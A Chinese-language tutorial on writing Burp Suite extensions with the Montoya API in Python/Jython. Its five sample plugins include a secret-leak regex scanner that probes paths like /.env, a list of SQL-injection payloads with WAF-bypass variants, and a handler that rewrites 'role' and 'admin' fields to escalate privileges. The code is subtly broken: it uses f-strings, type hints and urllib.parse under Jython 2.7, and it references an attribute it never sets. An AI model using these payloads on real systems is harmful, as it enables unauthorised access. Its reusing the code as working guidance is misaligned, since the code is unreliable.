适合人群:有Python基础、熟悉Burp Suite基本操作的渗透测试工程师
前置知识:HTTP请求结构、Python基本语法、Burp Suite基础使用
实验环境:Burp Suite Professional/Community 2024.x+ + Python 3.8+ + Jython 2.7.3
一、前置准备
1.1 工具与依赖
# 下载 Jython Standalone(Python在JVM上的实现)
wget https://repo1.maven.org/maven2/org/python/jython-standalone/2.7.3/jython-standalone-2.7.3.jar \
-O /opt/jython-standalone.jar
# 验证
java -jar /opt/jython-standalone.jar --version
# → Jython 2.7.3
# 安装 Python 开发辅助(非Jython,用于原型验证)
pip3 install requests flask
1.2 Burp Suite 配置 Jython
- 打开 Burp Suite → Extensions → Installed
- 点击 Add → Extension Type 选 Python
- Extension Details → Extension File: 选择
.py插件文件 - Extension Output/Errors: 勾选显示输出
- 在 Extensions → API 确认 Montoya API 版本 ≥
v2024.5
1.3 旧API vs Montoya API 对比
| 维度 | 旧 Extender API | Montoya API (2023+) |
|---|---|---|
| 接口包 | burp.IBurpExtender | burp.api.montoya.MontoyaApi |
| 请求处理 | IHttpRequestResponse(不可变) | HttpRequest / HttpResponse(支持修改) |
| 扫描 | IScannerCheck | ScanCheck 接口 |
| 上下文菜单 | IContextMenuFactory | ContextMenuProvider |
| 日志 | PrintWriter | Logging 接口 |
| 类型安全 | 弱(Object返回) | 强类型 |
| 修改能力 | 部分支持 | 完全可修改请求/响应 |
⚠️ Montoya API 是 Burp 2023.10+ 的默认 API。旧版 Extender API 已逐步弃用,新项目应全部使用 Montoya API。
二、核心原理
2.1 Montoya API 架构
Burp Suite 核心
│
├── MontoyaApi(总入口)
│ ├── http() → HTTP 请求/响应处理
│ ├── proxy() → 代理流量拦截
│ ├── scanner() → 主动/被动扫描
│ ├── userInterface() → UI 交互
│ ├── logging() → 日志输出
│ └── persistence() → 持久化存储
│
├── 插件生命周期
│ ├── load() → 插件加载时初始化
│ └── unload() → 插件卸载时清理
│
└── 核心接口
├── HttpHandler → HTTP 请求/响应拦截
├── ScanCheck → 自定义扫描检查
├── ContextMenuProvider → 右键菜单
└── HttpRequestEditor → 请求编辑器
2.2 插件开发流程
# 最小化 Montoya 插件骨架
from burp.api.montoya import MontoyaApi
class BurpExtender:
def initialize(self, api: MontoyaApi):
"""插件入口(代替旧版的 registerExtenderCallbacks)"""
api.logging().logToOutput("[+] 插件已加载")
2.3 关键类与方法
from burp.api.montoya.http.message import HttpRequest, HttpResponse
from burp.api.montoya.http.handler import HttpHandler, HttpRequestToBeSent, HttpResponseReceived
from burp.api.montoya.scanner import ScanCheck
from burp.api.montoya.ui.contextmenu import ContextMenuProvider
三、实操步骤
🔴 项目一:被动扫描器 — 自动检测敏感信息泄露
实现一个 Burp 插件:被动扫描所有 HTTP 响应,发现硬编码的 API Key、密码、Token 等信息。
Step 1:创建插件文件
创建 sensitive_data_scanner.py:
from burp.api.montoya import MontoyaApi
from burp.api.montoya.http.handler import HttpHandler, HttpResponseReceived
from burp.api.montoya.scanner import ScanCheck, ScanResult, AuditResult
from burp.api.montoya.scanner.audit import AuditConfiguration
from java.util import List, ArrayList
import re
class BurpExtender:
def initialize(self, api: MontoyaApi):
self._api = api
self._helpers = api.helpers()
api.logging().logToOutput("[+] 敏感信息扫描器 v2.0 (Montoya API)")
# 注册 HTTP 处理器(被动检测响应)
api.http().registerHandler(SensitiveDataHandler(api))
# 注册主动扫描检查
api.scanner().registerScanCheck(SensitiveScanCheck(api))
class SensitiveDataHandler(HttpHandler):
"""被动响应检测"""
# 敏感信息正则
PATTERNS = [
(r'(?i)AKIA[0-9A-Z]{16}', 'AWS Access Key ID'),
(r'(?i)sk-[a-zA-Z0-9]{32,}', 'OpenAI API Key'),
(r'(?i)github_pat_[a-zA-Z0-9_]{36,}', 'GitHub Personal Access Token'),
(r'(?i)-----BEGIN\s?(RSA )?PRIVATE KEY-----', 'Private Key'),
(r'(?i)ghp_[a-zA-Z0-9]{36}', 'GitHub Token (legacy)'),
(r'(?i)token[:=]\s*["\']?[a-zA-Z0-9_\-]{20,}', 'Generic Token'),
(r'(?i)password[:=]\s*["\']?[^&\s"\'<>]{6,}', 'Plaintext Password'),
(r'(?i)slack_token|slack_bot_token', 'Slack Token'),
(r'1[3-9]\d{9}', 'Chinese Phone Number'),
(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', 'Email Address'),
]
def handleResponseReceived(self, requestResponse: HttpResponseReceived):
"""处理收到的 HTTP 响应"""
response = requestResponse.response()
request = requestResponse.requestResponse().request()
annotation = requestResponse.requestResponse().annotations()
body = response.bodyToString()
url = request.url()
findings = []
for pattern, name in self.PATTERNS:
matches = re.findall(pattern, body)
if matches:
# 去重 + 脱敏显示
unique_matches = list(set(matches))[:3]
findings.append(f"[{name}] {', '.join(unique_matches)}")
if findings:
msg = " | ".join(findings)
# 添加注释到请求
annotation.setNotes(msg, 0)
self._api.logging().logToOutput(f"[!] {url} → {msg}")
class SensitiveScanCheck(ScanCheck):
"""主动扫描检测"""
def scan(self, baseRequestResponse):
results = ArrayList() # Java ArrayList
for test_path in ['/env', '/.env', '/config.json', '/debug', '/swagger.json', '/actuator']:
req = self._api.http().requestFromUrl(baseRequestResponse.request().url() + test_path)
resp = self._api.http().sendRequest(req)
if resp.statusCode() == 200 and resp.bodyToString() and len(resp.bodyToString()) > 50:
auditResult = AuditResult.auditResult(
"发现敏感端点: " + test_path,
[resp]
)
results.add(auditResult)
return results
def consolidate(self, requestResponse, auditResult):
return auditResult
Step 2:加载插件
- Burp → Extensions → Installed → Add
- Extention Type: Python → 选择
sensitive_data_scanner.py - Jython Jar:
/opt/jython-standalone.jar - 观察 Output 标签是否有
[+] 敏感信息扫描器 v2.0
Step 3:测试
访问任意 HTTPS 网站,查看 Extensions → Output 标签是否有敏感信息告警。
🔴 项目二:自定义 Intruder Payload — SQL 注入 Fuzz 生成器
Montoya API 不再有旧的 IIntruderPayloadGenerator 接口,改用更灵活的 IntruderPayloadProvider:
from burp.api.montoya import MontoyaApi
from burp.api.montoya.intruder import IntruderPayloadProvider, IntruderPayload
from java.util import List, ArrayList
class BurpExtender:
def initialize(self, api: MontoyaApi):
self._api = api
api.intruder().registerPayloadProvider(SQLFuzzPayloadProvider())
class SQLFuzzPayloadProvider(IntruderPayloadProvider):
def displayName(self):
return "SQL注入Fuzz Payloads"
def prefix(self):
return "' OR " # 自动前缀
def suffix(self):
return " -- " # 自动后缀
def providePayloads(self, insertionPoint):
"""生成 payloads"""
payloads = ArrayList()
# 基础注入
base_payloads = [
"' OR '1'='1",
"' OR 1=1 -- ",
"\" OR 1=1 -- ",
"1' AND '1'='1",
"1' AND '1'='2",
"') OR ('1'='1",
"1' OR SLEEP(5) -- ",
"1' AND SLEEP(5) -- ",
"' UNION SELECT NULL -- ",
"' UNION SELECT 1,2,3 -- ",
"' AND 1=0 UNION SELECT 1,2,3 -- ",
]
for p in base_payloads:
payloads.add(IntruderPayload(p))
# WAF 绕过变种
waf_bypass = [
"' /*!12345OR*/ '1'='1",
"' %254f%252f '1'='1",
"' || '1'='1",
"' o/**/r '1'='1",
"' OORR '1'='1",
"1'/*!50000AND*/SLEEP(5)-- ",
"' OR '1'='1' #",
]
for p in waf_bypass:
payloads.add(IntruderPayload(p))
return payloads
🔴 项目三:HTTP 自动篡改 — 绕过前端参数校验
from burp.api.montoya import MontoyaApi
from burp.api.montoya.http.handler import HttpHandler, HttpRequestToBeSent
from burp.api.montoya.http.message.params import HttpParameterType
class BurpExtender:
def initialize(self, api: MontoyaApi):
self._api = api
api.http().registerHandler(ParamBypassHandler())
api.logging().logToOutput("[+] 参数篡改插件已加载")
class ParamBypassHandler(HttpHandler):
"""自动尝试绕过前端参数校验"""
def handleRequestToBeSent(self, requestToBeSent: HttpRequestToBeSent):
request = requestToBeSent.request()
# 只处理 POST 请求的 JSON body
if request.method() != 'POST':
return requestToBeSent.requestResponse().request()
content_type = request.headerValue("Content-Type")
if content_type and 'json' in content_type.lower():
body = request.bodyToString()
# 自动添加测试参数
if '"role"' in body or '"admin"' in body.lower():
# 已经有权限相关参数 → 尝试越权
modified_body = body.replace('"role":"user"', '"role":"admin"')
modified_body = modified_body.replace('"admin":false', '"admin":true')
# 尝试添加额外参数
if '"id"' in modified_body and '"id"' not in modified_body.split('}')[0]:
modified_body = modified_body.replace('}', ', "admin": true}')
new_request = request.withBody(modified_body)
return new_request
return request # 不修改
🔴 项目四:上下文菜单 — 一键解码与格式化
from burp.api.montoya import MontoyaApi
from burp.api.montoya.ui.contextmenu import ContextMenuProvider
from burp.api.montoya.http.message import HttpRequestResponse
from java.util import List, ArrayList
from javax.swing import JMenuItem, JOptionPane
import base64, json, urllib.parse
class BurpExtender:
def initialize(self, api: MontoyaApi):
self._api = api
api.userInterface().registerContextMenuProvider(DecoderMenu(api))
api.logging().logToOutput("[+] 解码菜单插件已加载")
class DecoderMenu(ContextMenuProvider):
def __init__(self, api):
self._api = api
def provideMenuItems(self, invocation):
items = ArrayList()
# 获取选中的文本
selected_data = invocation.selectedMessages()
if not selected_data:
return items
# 解码 Base64
item_b64 = JMenuItem("Base64 解码")
item_b64.addActionListener(lambda e: self._decode_selection(invocation, 'base64'))
items.add(item_b64)
# URL 解码
item_url = JMenuItem("URL 解码")
item_url.addActionListener(lambda e: self._decode_selection(invocation, 'url'))
items.add(item_url)
# JSON 格式化
item_json = JMenuItem("JSON 格式化")
item_json.addActionListener(lambda e: self._decode_selection(invocation, 'json'))
items.add(item_json)
# JWT 解码
item_jwt = JMenuItem("JWT 解码")
item_jwt.addActionListener(lambda e: self._decode_selection(invocation, 'jwt'))
items.add(item_jwt)
return items
def _decode_selection(self, invocation, mode):
# 获取用户选中的文本
messages = invocation.selectedMessages()
if not messages:
return
# 简化实现:从请求响应中提取
msg = messages[0]
text = msg.request().toString()
if mode == 'base64':
try:
decoded = base64.b64decode(text.split('\n\n')[-1].strip()).decode('utf-8', errors='replace')
except:
decoded = "[Base64 解码失败]"
elif mode == 'url':
decoded = urllib.parse.unquote(text)
elif mode == 'json':
try:
raw = text.split('\n\n')[-1].strip()
obj = json.loads(raw)
decoded = json.dumps(obj, indent=2, ensure_ascii=False)
except:
decoded = "[JSON 解析失败]"
elif mode == 'jwt':
parts = text.split('\n\n')[-1].strip().split('.')
if len(parts) == 3:
try:
header = json.dumps(json.loads(base64.urlsafe_b64decode(parts[0] + '==')), indent=2)
payload = json.dumps(json.loads(base64.urlsafe_b64decode(parts[1] + '==')), indent=2)
decoded = f"## Header ##\n{header}\n\n## Payload ##\n{payload}"
except:
decoded = "[JWT 解码失败]"
else:
decoded = "[不是有效的JWT格式]"
JOptionPane.showMessageDialog(None, decoded, f"{mode.upper()} 解码结果", JOptionPane.INFORMATION_MESSAGE)
🔴 项目五:高级 — 使用 Montoya API 的持久化与UI
from burp.api.montoya import MontoyaApi
from burp.api.montoya.ui import UserInterface
from burp.api.montoya.ui.swing import SwingUtils
from javax.swing import JPanel, JTextArea, JScrollPane, JButton, BoxLayout
from java.awt import BorderLayout, Dimension
class BurpExtender:
def initialize(self, api: MontoyaApi):
self._api = api
self._log = api.logging()
# 创建自定义 UI Tab
panel = self._build_ui()
api.userInterface().registerSuiteTab("🔍 扫描报告", panel)
# 持久化存储
saved_data = api.persistence().string("scanlog")
if saved_data:
self._log.logToOutput(f"[+] 恢复上次会话数据: {len(saved_data)} 字符")
self._log.logToOutput("[+] 插件带UI已加载")
def _build_ui(self):
panel = JPanel(BorderLayout())
# 文本区域
text_area = JTextArea(20, 60)
text_area.setEditable(False)
scroll = JScrollPane(text_area)
panel.add(scroll, BorderLayout.CENTER)
# 按钮面板
btn_panel = JPanel()
btn_panel.setLayout(BoxLayout(btn_panel, BoxLayout.X_AXIS))
save_btn = JButton("保存当前数据")
save_btn.addActionListener(lambda e: self._save_data(text_area.getText()))
btn_panel.add(save_btn)
clear_btn = JButton("清空")
clear_btn.addActionListener(lambda e: text_area.setText(""))
btn_panel.add(clear_btn)
panel.add(btn_panel, BorderLayout.SOUTH)
return panel
def _save_data(self, data):
self._api.persistence().setString("scanlog", data)
self._log.logToOutput("[+] 数据已持久化保存")
四、调试与发布
4.1 本地调试技巧
# 1. 用 Python 先写原型(不在 Burp 中调试)
python3 -c "
import json, re
# 测试正则
body = 'AKIA1234567890ABCDEF'
pattern = r'(?i)AKIA[0-9A-Z]{16}'
print(re.findall(pattern, body))
"
# 2. 用 Burp 自带的 Scripting Console 快速测试
# Extensions → Installed → Scripting Console → Python
# 输入单行测试代码
# 3. 错误日志查看
# Extensions → Extensions → 选择插件 → Errors 标签
4.2 常见 Bug 排查
| 症状 | 原因 | 修复 |
|---|---|---|
ImportError: No module named xxx | Jython 不识别 pip 安装的包 | 把依赖 .py 文件复制到插件同级目录 |
TypeError: '<' not supported between instances | Java ArrayList 与 Python list 混用 | 全部用 ArrayList() 或全部用 [] |
RuntimeError: Java exception | Jython 类型转换错误 | 检查方法签名,特别是 str vs String |
| 插件加载后无反应 | Handler 未注册 | 检查 api.http().registerHandler() 是否调用 |
| UI 不显示 | Tab 注册后需重启 Burp | 在 Extensions → Installed 中禁用再启用 |
4.3 发布格式
# 插件文件结构
plugin_name/
├── __init__.py # 空文件
├── BurpExtender.py # 主入口(必须)
├── lib/ # 依赖库目录
│ └── helper.py
├── README.md # 使用说明
└── config.yaml # 可选配置
五、防御建议
| 攻击面 | 防御措施 |
|---|---|
| Burp 插件篡改请求 | 服务端必须验签所有敏感参数,不信任客户端 |
| 敏感信息被动扫描 | 生产环境响应头禁用 Server 版本泄露、不返回调试信息 |
| Intruder 自动 Fuzz | WAF 配置请求频率限制 + 参数白名单校验 |
| 自定义扫描器 | 对 /env、/actuator 等敏感路径做鉴权或禁用 |
六、常见陷阱
| # | 陷阱 | 正确做法 |
|---|---|---|
| 1 | 在 Jython 中用了 pip install 的包 | Jython 只能 import 纯 Python 文件或 Java JAR |
| 2 | 混淆 str 和 java.lang.String | Montoya API 方法签名要求 Java String,直接用 Python str 即可自动转换 |
| 3 | 在回调中做耗时操作阻塞 Burp | 耗时代码开新线程:from java.lang import Thread |
| 4 | 忘记处理 null 返回值 | Java 方法可能返回 None,加空判断 |
| 5 | 频繁打印日志严重影响性能 | 生产环境用 setLevel() 控制日志级别 |
七、总结
速查表
| 功能 | Montoya API 接口 | 方法 |
|---|---|---|
| 插件入口 | initialize(self, api: MontoyaApi) | 代替旧的 registerExtenderCallbacks |
| HTTP 请求拦截 | api.http().registerHandler(handler) | 实现 HttpHandler 接口 |
| HTTP 响应拦截 | HttpHandler.handleResponseReceived() | 被动检测响应内容 |
| 主动扫描 | api.scanner().registerScanCheck(check) | 实现 ScanCheck 接口 |
| Intruder Payload | api.intruder().registerPayloadProvider(provider) | 实现 IntruderPayloadProvider |
| 右键菜单 | api.userInterface().registerContextMenuProvider(menu) | 实现 ContextMenuProvider |
| UI Tab | api.userInterface().registerSuiteTab(title, panel) | 传入 JPanel 对象 |
| 持久化存储 | api.persistence().setString(key, value) | 跨会话保存数据 |
| 日志输出 | api.logging().logToOutput(msg) | 输出到 Extensions Output |
| HTTP 请求构建 | api.http().requestFromUrl(url) | 从 URL 构造 GET 请求 |
学习路线
Day 1 → Montoya API 骨架 + HTTP 拦截(读懂流量)
Day 2 → 被动扫描 + 日志分析(发现漏洞)
Day 3 → 主动扫描 + Intruder Payload(自动化利用)
Day 4 → UI Tab + 右键菜单(交互体验)
Day 5 → 发布开源插件(社区贡献)
推荐的 Montoya API 文档
- Burp Suite 官方 Montoya API:
https://portswigger.github.io/burp-extensions-montoya-api/ - Burp Extensions 示例:
https://github.com/PortSwigger/example-montoya-extensions
一句话总结:Montoya API 用强类型、可修改的接口取代了旧版 Extender API,开发效率提升 2-3 倍。写 Burp 插件从此不再需要反复重启 Burp 调试类型错误。